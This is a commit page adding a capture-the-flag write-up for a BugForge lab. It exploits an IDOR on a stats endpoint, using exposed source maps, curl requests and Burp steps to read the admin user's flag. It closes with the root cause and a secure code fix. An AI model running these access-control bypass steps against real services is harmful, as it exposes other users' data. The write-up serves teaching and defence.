Skip to content

Commit 765de31

Browse files
committed
tanuki
1 parent 483a428 commit 765de31

File tree

1 file changed

+145
-0
lines changed

1 file changed

+145
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
---
2+
title: Tanuki - Stats IDOR
3+
tags:
4+
- bugforge
5+
- idor
6+
- broken-access-control
7+
- source-maps
8+
---
9+
10+
- Hint said "WebSockets are fun" but the actual vuln was a stats IDOR -- the hint was wrong for this instance
11+
- Socket.io was bundled in the client JS as dead code (no component uses it, no server endpoint exists)
12+
- Flag was in `GET /api/stats/1` -- one request after reading source maps
13+
14+
## Step 1 -- Open the Lab
15+
16+
- Navigate to the BugForge lab URL (Tanuki -- SRS Flash Cards app)
17+
- Note the base URL, e.g. `https://lab-XXXX.labs-app.bugforge.io`
18+
19+
## Step 2 -- Source Maps
20+
21+
- Open browser DevTools -> Sources, or fetch the JS bundle directly
22+
- The app ships with source maps exposed at `/static/js/main.XXXXX.js.map`
23+
24+
```bash
25+
# Grab the main page to find the JS bundle filename
26+
curl -sk https://TARGET/ | grep -oP 'src="/static/js/[^"]+'
27+
# Output: src="/static/js/main.3b4ae99e.js"
28+
29+
# Fetch the source map
30+
curl -sk https://TARGET/static/js/main.3b4ae99e.js.map -o sourcemap.json
31+
```
32+
33+
- The source map contains the original React component source code
34+
- The key file is `UserStats.js` which contains this line:
35+
36+
```javascript
37+
const response = await axios.get(`/api/stats/${user.id}`);
38+
```
39+
40+
- This tells us the stats endpoint takes a user ID in the URL path -- classic IDOR pattern
41+
42+
## Step 3 -- Register a User
43+
44+
```bash
45+
curl -sk https://TARGET/api/register -H "Content-Type: application/json" -d '{"username":"testuser1","email":"test1@test.com","password":"Password123","full_name":"Test User"}'
46+
```
47+
48+
Response:
49+
50+
```json
51+
{
52+
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0ZXN0dXNlcjEiLCJpYXQiOjE3NzQ5NDUzNTZ9.BgEFmvj962SBT98meVZOFeMzo8515uz4UrbD1ryvwMc",
53+
"user": {"id": 4, "username": "testuser1", "email": "test1@test.com", "full_name": "Test User"}
54+
}
55+
```
56+
57+
- Save the `token` value -- you'll need it for the next step
58+
- Your user ID is `4` (first 3 are pre-seeded: likely admin + 2 default users)
59+
60+
## Step 4 -- IDOR on Stats (The Flag)
61+
62+
Use your token to request user 1's stats:
63+
64+
```bash
65+
curl -sk https://TARGET/api/stats/1 -H "Authorization: Bearer YOUR_TOKEN_HERE"
66+
```
67+
68+
Response:
69+
70+
```json
71+
{
72+
"total_cards_studied": 0,
73+
"cards_mastered": 0,
74+
"total_reviews": null,
75+
"sessions_this_week": 0,
76+
"cards_studied_this_week": 0,
77+
"achievement_flag": "bug{XXXXX...}"
78+
}
79+
```
80+
81+
- User 1 (the admin/seed account) has an `achievement_flag` field in their stats
82+
- This field doesn't appear for regular users
83+
- The server doesn't check that the ID in the URL belongs to the authenticated user
84+
85+
For comparison, your own stats (`/api/stats/4`) return the same structure but without the flag field.
86+
87+
## Step 5 -- Submit the Flag
88+
89+
Copy the `achievement_flag` value and submit it.
90+
91+
## Alternative: Burp Suite
92+
93+
If you're using Burp:
94+
95+
1. Register through the browser (Burp captures the JWT in the response)
96+
2. In Repeater, send: `GET /api/stats/1` with `Authorization: Bearer <your-token>`
97+
3. Flag is in the response body
98+
99+
## What the Hint Was About
100+
101+
- The lab hint said "WebSockets are fun"
102+
- Socket.io client library (`engine.io-client`, `socket.io-parser`) is bundled in the JS
103+
- No React component imports or uses socket.io -- it's dead code
104+
- No socket.io server endpoint exists (all paths return SPA catch-all HTML)
105+
- The hint was misleading for this particular challenge variant
106+
107+
## Other Tests (Not Required for Flag)
108+
109+
| Test | Result |
110+
|------|--------|
111+
| Mass assignment (`role: admin` on register) | 200 but no admin privileges |
112+
| Admin endpoints (`/api/admin/users`) as regular user | 403 "Admin access required" |
113+
| JWT: HS256, no expiry, no role claim | No quick-win (none alg not needed) |
114+
115+
## Security Takeaways
116+
117+
### Vulnerability
118+
119+
- IDOR on `GET /api/stats/:id`
120+
- CWE-639 -- Authorization Bypass Through User-Controlled Key
121+
- OWASP A01:2021 -- Broken Access Control
122+
123+
### Root Cause
124+
125+
The stats endpoint uses the user ID from the URL path to query the database. It verifies the JWT is valid (authentication) but never checks that the requested ID matches the authenticated user (authorization).
126+
127+
```javascript
128+
// VULNERABLE
129+
app.get('/api/stats/:id', authMiddleware, (req, res) => {
130+
const stats = getStats(req.params.id); // trusts URL param
131+
res.json(stats);
132+
});
133+
134+
// SECURE
135+
app.get('/api/stats/me', authMiddleware, (req, res) => {
136+
const stats = getStats(req.user.id); // uses JWT identity
137+
res.json(stats);
138+
});
139+
```
140+
141+
### Prevention
142+
143+
- Use the authenticated user's ID from the JWT, not from URL parameters
144+
- If you must use URL params (e.g. admin viewing other users), add an ownership/role check
145+
- Prefer `/api/stats/me` pattern over `/api/stats/:id`

0 commit comments

Comments
 (0)